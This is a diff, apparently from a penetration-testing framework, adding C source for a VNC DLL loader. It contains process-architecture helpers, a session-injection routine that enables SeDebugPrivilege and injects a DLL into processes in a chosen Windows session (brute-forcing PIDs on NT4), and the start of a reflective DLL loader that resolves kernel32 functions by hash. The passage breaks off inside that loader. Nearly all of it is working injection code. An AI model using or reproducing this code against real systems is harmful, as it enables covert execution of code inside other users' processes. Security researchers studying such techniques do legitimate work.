dwDllArch = ps_getarch_dll( lpDllBuffer );
|
||||
if( dwDllArch == PROCESS_ARCH_UNKNOWN )
|
||||
BREAK_WITH_ERROR( "[PS] ps_inject_dll. Unable to determine DLL arhitecture", ERROR_BAD_FORMAT );
|
||||
|
||||
if( dwDllArch != dwPidArch )
|
||||
BREAK_WITH_ERROR( "[PS] ps_inject_dll. pid/dll architecture mixup", ERROR_BAD_ENVIRONMENT );
|
||||
|
||||
dwResult = inject_dll( dwPid, lpDllBuffer, dwDllLenght );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the architecture of the given process.
|
||||
*/
|
||||
DWORD ps_getarch( DWORD dwPid )
|
||||
{
|
||||
DWORD result = PROCESS_ARCH_UNKNOWN;
|
||||
static DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
HANDLE hKernel = NULL;
|
||||
HANDLE hProcess = NULL;
|
||||
ISWOW64PROCESS pIsWow64Process = NULL;
|
||||
BOOL bIsWow64 = FALSE;
|
||||
|
||||
do
|
||||
{
|
||||
// grab the native systems architecture the first time we use this function...
|
||||
if( dwNativeArch == PROCESS_ARCH_UNKNOWN )
|
||||
dwNativeArch = ps_getnativearch();
|
||||
|
||||
// first we default to 'x86' as if kernel32!IsWow64Process is not present then we are on an older x86 system.
|
||||
result = PROCESS_ARCH_X86;
|
||||
|
||||
hKernel = LoadLibraryA( "kernel32.dll" );
|
||||
if( !hKernel )
|
||||
break;
|
||||
|
||||
pIsWow64Process = (ISWOW64PROCESS)GetProcAddress( hKernel, "IsWow64Process" );
|
||||
if( !pIsWow64Process )
|
||||
break;
|
||||
|
||||
// now we must default to an unknown architecture as the process may be either x86/x64 and we may not have the rights to open it
|
||||
result = PROCESS_ARCH_UNKNOWN;
|
||||
|
||||
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, dwPid );
|
||||
if( !hProcess )
|
||||
{
|
||||
hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, dwPid );
|
||||
if( !hProcess )
|
||||
break;
|
||||
}
|
||||
|
||||
if( !pIsWow64Process( hProcess, &bIsWow64 ) )
|
||||
break;
|
||||
|
||||
if( bIsWow64 )
|
||||
result = PROCESS_ARCH_X86;
|
||||
else
|
||||
result = dwNativeArch;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hProcess )
|
||||
CloseHandle( hProcess );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/*
|
||||
* Get the native architecture of the system we are running on.
|
||||
*/
|
||||
DWORD ps_getnativearch( VOID )
|
||||
{
|
||||
HANDLE hKernel = NULL;
|
||||
GETNATIVESYSTEMINFO pGetNativeSystemInfo = NULL;
|
||||
DWORD dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
SYSTEM_INFO SystemInfo = {0};
|
||||
|
||||
do
|
||||
{
|
||||
// default to 'x86' as if kernel32!GetNativeSystemInfo is not present then we are on an old x86 system.
|
||||
dwNativeArch = PROCESS_ARCH_X86;
|
||||
|
||||
hKernel = LoadLibraryA( "kernel32.dll" );
|
||||
if( !hKernel )
|
||||
break;
|
||||
|
||||
pGetNativeSystemInfo = (GETNATIVESYSTEMINFO)GetProcAddress( hKernel, "GetNativeSystemInfo" );
|
||||
if( !pGetNativeSystemInfo )
|
||||
break;
|
||||
|
||||
pGetNativeSystemInfo( &SystemInfo );
|
||||
switch( SystemInfo.wProcessorArchitecture )
|
||||
{
|
||||
case PROCESSOR_ARCHITECTURE_AMD64:
|
||||
dwNativeArch = PROCESS_ARCH_X64;
|
||||
break;
|
||||
case PROCESSOR_ARCHITECTURE_IA64:
|
||||
dwNativeArch = PROCESS_ARCH_IA64;
|
||||
break;
|
||||
case PROCESSOR_ARCHITECTURE_INTEL:
|
||||
dwNativeArch = PROCESS_ARCH_X86;
|
||||
break;
|
||||
default:
|
||||
dwNativeArch = PROCESS_ARCH_UNKNOWN;
|
||||
break;
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return dwNativeArch;
|
||||
}
|
|
@ -0,0 +1,77 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_PS_H
|
||||
#define _VNCDLL_LOADER_PS_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <iphlpapi.h>
|
||||
|
||||
typedef HANDLE (WINAPI * CREATETOOLHELP32SNAPSHOT)( DWORD dwFlags, DWORD th32ProcessID );
|
||||
typedef BOOL (WINAPI * PROCESS32FIRST)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
|
||||
typedef BOOL (WINAPI * PROCESS32NEXT)( HANDLE hSnapshot, LPPROCESSENTRY32 lppe );
|
||||
typedef void (WINAPI * GETNATIVESYSTEMINFO)( LPSYSTEM_INFO lpSystemInfo );
|
||||
typedef BOOL (WINAPI * ISWOW64PROCESS)( HANDLE hProcess, PBOOL Wow64Process );
|
||||
|
||||
#define PROCESS_ARCH_UNKNOWN 0
|
||||
#define PROCESS_ARCH_X86 1
|
||||
#define PROCESS_ARCH_X64 2
|
||||
#define PROCESS_ARCH_IA64 3
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
typedef struct _PROCESS_BASIC_INFORMATION
|
||||
{
|
||||
PVOID Reserved1;
|
||||
PVOID PebBaseAddress;
|
||||
PVOID Reserved2[2];
|
||||
ULONG_PTR UniqueProcessId;
|
||||
PVOID Reserved3;
|
||||
} PROCESS_BASIC_INFORMATION;
|
||||
|
||||
typedef struct _DLL_BUFFER
|
||||
{
|
||||
LPVOID lpPE32DllBuffer;
|
||||
DWORD dwPE32DllLenght;
|
||||
LPVOID lpPE64DllBuffer;
|
||||
DWORD dwPE64DllLenght;
|
||||
} DLL_BUFFER;
|
||||
|
||||
//===============================================================================================//
|
||||
|
||||
DWORD ps_inject( DWORD dwPid, DLL_BUFFER * pDllBuffer );
|
||||
|
||||
DWORD ps_getarch( DWORD dwPid );
|
||||
|
||||
DWORD ps_getnativearch( VOID );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,198 @@
|
|||
#include "loader.h"
|
||||
#include "session.h"
|
||||
|
||||
/*
|
||||
* Returns the session id associated with a process.
|
||||
* Returns -1 if we cant determine the session id (e.g. insufficient privileges).
|
||||
* Returns 0 by default on NT4.
|
||||
*/
|
||||
DWORD session_id( DWORD dwProcessId )
|
||||
{
|
||||
typedef BOOL (WINAPI * PROCESSIDTOSESSIONID)( DWORD pid, LPDWORD id );
|
||||
|
||||
static PROCESSIDTOSESSIONID pProcessIdToSessionId = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !pProcessIdToSessionId )
|
||||
{
|
||||
hKernel = LoadLibrary( "kernel32.dll" );
|
||||
if( hKernel )
|
||||
pProcessIdToSessionId = (PROCESSIDTOSESSIONID)GetProcAddress( hKernel, "ProcessIdToSessionId" );
|
||||
}
|
||||
|
||||
if( !pProcessIdToSessionId )
|
||||
break;
|
||||
|
||||
if( !pProcessIdToSessionId( dwProcessId, &dwSessionId ) )
|
||||
dwSessionId = -1;
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return dwSessionId;
|
||||
}
|
||||
|
||||
/*
|
||||
* Returns the session id attached to the physical console.
|
||||
* Returns 0 by default on NT4 and 2000.
|
||||
*/
|
||||
DWORD session_activeid()
|
||||
{
|
||||
typedef DWORD (WINAPI * WTSGETACTIVECONSOLESESSIONID )( VOID );
|
||||
|
||||
static WTSGETACTIVECONSOLESESSIONID pWTSGetActiveConsoleSessionId = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
DWORD dwSessionId = 0;
|
||||
|
||||
do
|
||||
{
|
||||
if( !pWTSGetActiveConsoleSessionId )
|
||||
{
|
||||
hKernel = LoadLibrary( "kernel32.dll" );
|
||||
if( hKernel )
|
||||
pWTSGetActiveConsoleSessionId = (WTSGETACTIVECONSOLESESSIONID)GetProcAddress( hKernel, "WTSGetActiveConsoleSessionId" );
|
||||
}
|
||||
|
||||
if( !pWTSGetActiveConsoleSessionId )
|
||||
break;
|
||||
|
||||
dwSessionId = pWTSGetActiveConsoleSessionId();
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
return dwSessionId;
|
||||
}
|
||||
|
||||
/*
|
||||
* On NT4 its we bruteforce the process list as kernel32!CreateToolhelp32Snapshot is not available.
|
||||
*/
|
||||
DWORD _session_inject_bruteforce( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
|
||||
{
|
||||
DWORD dwResult = ERROR_INVALID_HANDLE;
|
||||
DWORD pid = 0;
|
||||
|
||||
do
|
||||
{
|
||||
for( pid=0 ; pid<0xFFFF ; pid++ )
|
||||
{
|
||||
HANDLE hProcess = NULL;
|
||||
|
||||
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pid );
|
||||
if( !hProcess )
|
||||
continue;
|
||||
|
||||
CloseHandle( hProcess );
|
||||
|
||||
if( dwSessionId == session_id( pid ) )
|
||||
{
|
||||
dwResult = ps_inject( pid, pDllBuffer );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[SESSION] _session_inject_bruteforce. Injected into process %d", pid );
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
} while( 0 );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
||||
/*
|
||||
* Inject an arbitrary DLL into a process running in specific Windows session.
|
||||
*/
|
||||
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer )
|
||||
{
|
||||
DWORD dwResult = ERROR_INVALID_HANDLE;
|
||||
CREATETOOLHELP32SNAPSHOT pCreateToolhelp32Snapshot = NULL;
|
||||
PROCESS32FIRST pProcess32First = NULL;
|
||||
PROCESS32NEXT pProcess32Next = NULL;
|
||||
HANDLE hProcessSnap = NULL;
|
||||
HMODULE hKernel = NULL;
|
||||
HANDLE hToken = NULL;
|
||||
BOOL bUseBruteForce = TRUE;
|
||||
PROCESSENTRY32 pe32 = {0};
|
||||
|
||||
do
|
||||
{
|
||||
// If we can, get SeDebugPrivilege...
|
||||
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
|
||||
{
|
||||
TOKEN_PRIVILEGES priv = {0};
|
||||
|
||||
priv.PrivilegeCount = 1;
|
||||
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
|
||||
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
|
||||
{
|
||||
if( AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL ) );
|
||||
dprintf("[SESSION] session_inject. Got SeDebugPrivilege!" );
|
||||
}
|
||||
|
||||
CloseHandle( hToken );
|
||||
}
|
||||
|
||||
hKernel = LoadLibrary( "kernel32" );
|
||||
if( !hKernel )
|
||||
break;
|
||||
|
||||
pCreateToolhelp32Snapshot = (CREATETOOLHELP32SNAPSHOT)GetProcAddress( hKernel, "CreateToolhelp32Snapshot" );
|
||||
pProcess32First = (PROCESS32FIRST)GetProcAddress( hKernel, "Process32First" );
|
||||
pProcess32Next = (PROCESS32NEXT)GetProcAddress( hKernel, "Process32Next" );
|
||||
|
||||
if( !pCreateToolhelp32Snapshot || !pProcess32First || !pProcess32Next )
|
||||
break;
|
||||
|
||||
hProcessSnap = pCreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0 );
|
||||
if( hProcessSnap == INVALID_HANDLE_VALUE )
|
||||
break;
|
||||
|
||||
pe32.dwSize = sizeof( PROCESSENTRY32 );
|
||||
|
||||
if( !pProcess32First( hProcessSnap, &pe32 ) )
|
||||
break;
|
||||
|
||||
bUseBruteForce = FALSE;
|
||||
|
||||
do
|
||||
{
|
||||
if( dwSessionId == session_id( pe32.th32ProcessID ) )
|
||||
{
|
||||
// On Windows 2008R2 we Blue Screen the box if we inject via APC injection
|
||||
// into the target sessions instance of csrss.exe!!! so we filter it out...
|
||||
if( strstr( pe32.szExeFile, "csrss.exe" ) )
|
||||
continue;
|
||||
|
||||
dwResult = ps_inject( pe32.th32ProcessID, pDllBuffer );
|
||||
if( dwResult == ERROR_SUCCESS )
|
||||
{
|
||||
dprintf( "[SESSION] session_inject. Injected into process %d (%s)", pe32.th32ProcessID, pe32.szExeFile );
|
||||
break;
|
||||
}
|
||||
}
|
||||
} while( pProcess32Next( hProcessSnap, &pe32 ) );
|
||||
|
||||
} while( 0 );
|
||||
|
||||
if( hProcessSnap )
|
||||
CloseHandle( hProcessSnap );
|
||||
|
||||
if( hKernel )
|
||||
FreeLibrary( hKernel );
|
||||
|
||||
// On NT4 we must brute force the process list...
|
||||
if( bUseBruteForce )
|
||||
dwResult = _session_inject_bruteforce( dwSessionId, pDllBuffer );
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
|
@ -0,0 +1,42 @@
|
|||
// Copyright (C) 2006-2010, Rapid7 LLC
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification,
|
||||
// are permitted provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice,
|
||||
// this list of conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice,
|
||||
// this list of conditions and the following disclaimer in the documentation
|
||||
// and/or other materials provided with the distribution.
|
||||
//
|
||||
// * Neither the name of Rapid7 LLC nor the names of its contributors
|
||||
// may be used to endorse or promote products derived from this software
|
||||
// without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
|
||||
// ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
|
||||
// WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
|
||||
// DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR
|
||||
// ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
|
||||
// (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
|
||||
// LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
|
||||
// ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
|
||||
// SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_SESSION_H
|
||||
#define _VNCDLL_LOADER_SESSION_H
|
||||
//===============================================================================================//
|
||||
#include "ps.h"
|
||||
|
||||
DWORD session_id( DWORD dwProcessId );
|
||||
|
||||
DWORD session_activeid();
|
||||
|
||||
DWORD session_inject( DWORD dwSessionId, DLL_BUFFER * pDllBuffer );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
Binary file not shown.
Binary file not shown.
|
@ -0,0 +1,53 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
|
||||
#define _VNCDLL_LOADER_REFLECTIVEDLLINJECTION_H
|
||||
//===============================================================================================//
|
||||
#define WIN32_LEAN_AND_MEAN
|
||||
#include <windows.h>
|
||||
|
||||
// we declare some common stuff in here...
|
||||
|
||||
#define DLL_METASPLOIT_ATTACH 4
|
||||
#define DLL_METASPLOIT_DETACH 5
|
||||
#define DLL_QUERY_HMODULE 6
|
||||
|
||||
#define DEREF( name )*(UINT_PTR *)(name)
|
||||
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||
#define DEREF_32( name )*(DWORD *)(name)
|
||||
#define DEREF_16( name )*(WORD *)(name)
|
||||
#define DEREF_8( name )*(BYTE *)(name)
|
||||
|
||||
typedef DWORD (WINAPI * REFLECTIVELOADER)( VOID );
|
||||
typedef BOOL (WINAPI * DLLMAIN)( HINSTANCE, DWORD, LPVOID );
|
||||
|
||||
#define DLLEXPORT __declspec( dllexport )
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,457 @@
|
|||
//===============================================================================================//
|
||||
// Copyright (c) 2009, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||
// All rights reserved.
|
||||
//
|
||||
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||
// provided that the following conditions are met:
|
||||
//
|
||||
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||
// conditions and the following disclaimer.
|
||||
//
|
||||
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
// with the distribution.
|
||||
//
|
||||
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveLoader.h"
|
||||
//===============================================================================================//
|
||||
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||
HINSTANCE hAppInstance = NULL;
|
||||
//===============================================================================================//
|
||||
#ifdef _WIN64
|
||||
#pragma intrinsic( _ReturnAddress )
|
||||
UINT_PTR eip( VOID ) { return (UINT_PTR)_ReturnAddress(); }
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
||||
/*
|
||||
* Use Reflective DLL Injection.
|
||||
*/
|
||||
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
||||
|
||||
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||
// otherwise the DllMain at the end of this file will be used.
|
||||
|
||||
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||
|
||||
// This is our position independent reflective DLL loader/injector
|
||||
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( LPVOID lpParameter )
|
||||
#else
|
||||
DLLEXPORT UINT_PTR WINAPI ReflectiveLoader( VOID )
|
||||
#endif
|
||||
{
|
||||
// the functions we need
|
||||
LOADLIBRARYA pLoadLibraryA;
|
||||
GETPROCADDRESS pGetProcAddress;
|
||||
VIRTUALALLOC pVirtualAlloc;
|
||||
USHORT usCounter;
|
||||
|
||||
// the initial location of this image in memory
|
||||
UINT_PTR uiLibraryAddress;
|
||||
// the kernels base address and later this images newly loaded base address
|
||||
UINT_PTR uiBaseAddress;
|
||||
|
||||
// variables for processing the kernels export table
|
||||
UINT_PTR uiAddressArray;
|
||||
UINT_PTR uiNameArray;
|
||||
UINT_PTR uiExportDir;
|
||||
UINT_PTR uiNameOrdinals;
|
||||
DWORD dwHashValue;
|
||||
|
||||
// variables for loading this image
|
||||
UINT_PTR uiHeaderValue;
|
||||
UINT_PTR uiValueA;
|
||||
UINT_PTR uiValueB;
|
||||
UINT_PTR uiValueC;
|
||||
UINT_PTR uiValueD;
|
||||
|
||||
// STEP 0: calculate our images current base address
|
||||
|
||||
// we will start searching backwards from our current EIP
|
||||
#ifdef _WIN64
|
||||
uiLibraryAddress = eip();
|
||||
#else
|
||||
__asm call geteip
|
||||
__asm geteip: pop uiLibraryAddress
|
||||
#endif
|
||||
|
||||
// loop through memory backwards searching for our images base address
|
||||
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||
while( TRUE )
|
||||
{
|
||||
if( ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE )
|
||||
{
|
||||
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||
if( uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024 )
|
||||
{
|
||||
uiHeaderValue += uiLibraryAddress;
|
||||
// break if we have found a valid MZ/PE header
|
||||
if( ((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE )
|
||||
break;
|
||||
}
|
||||
}
|
||||
uiLibraryAddress--;
|
||||
}
|
||||
|
||||
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||
|
||||
// get the Process Enviroment Block
|
||||
#ifdef _WIN64
|
||||
uiBaseAddress = __readgsqword( 0x60 );
|
||||
#else
|
||||
uiBaseAddress = __readfsdword( 0x30 );
|
||||
#endif
|
||||
|
||||
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||
uiBaseAddress = (UINT_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||
|
||||
// get the first entry of the InMemoryOrder module list
|
||||
uiValueA = (UINT_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||
while( uiValueA )
|
||||
{
|
||||
// get pointer to current modules name (unicode string)
|
||||
uiValueB = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||
// set bCounter to the length for the loop
|
||||
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||
// clear uiValueC which will store the hash of the module name
|
||||
uiValueC = 0;
|
||||
// compute the hash of the module name...
|
||||
do
|
||||
{
|
||||
uiValueC = ror( (DWORD)uiValueC );
|
||||
// normalize to uppercase if the madule name is in lowercase
|
||||
if( *((BYTE *)uiValueB) >= 'a' )
|
||||
uiValueC += *((BYTE *)uiValueB) - 0x20;
|
||||
else
|
||||
uiValueC += *((BYTE *)uiValueB);
|
||||
uiValueB++;
|
||||
} while( --usCounter );
|
||||
// compare the hash with that of kernel32.dll
|
||||
if( (DWORD)uiValueC == KERNEL32DLL_HASH )
|
||||
{
|
||||
// get this modules base address
|
||||
uiBaseAddress = (UINT_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||
break;
|
||||
}
|
||||
// get the next entry
|
||||
uiValueA = DEREF( uiValueA );
|
||||
}
|
||||
|
||||
// get the VA of the modules NT Header
|
||||
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||
|
||||
// uiNameArray = the address of the modules export directory entry
|
||||
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||
|
||||
// get the VA of the export directory
|
||||
uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
|
||||
|
||||
// get the VA for the array of name pointers
|
||||
uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames );
|
||||
|
||||
// get the VA for the array of name ordinals
|
||||
uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals );
|
||||
|
||||
usCounter = 3;
|
||||
|
||||
// loop while we still have imports to find
|
||||
while( usCounter > 0 )
|
||||
{
|
||||
// compute the hash values for this function name
|
||||
dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) );
|
||||
|
||||
// if we have found a function we want we get its virtual address
|
||||
if( dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH )
|
||||
{
|
||||
// get the VA for the array of addresses
|
||||
uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
|
||||
|
||||
// use this functions name ordinal as an index into the array of name pointers
|
||||
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||
|
||||
// store this functions VA
|
||||
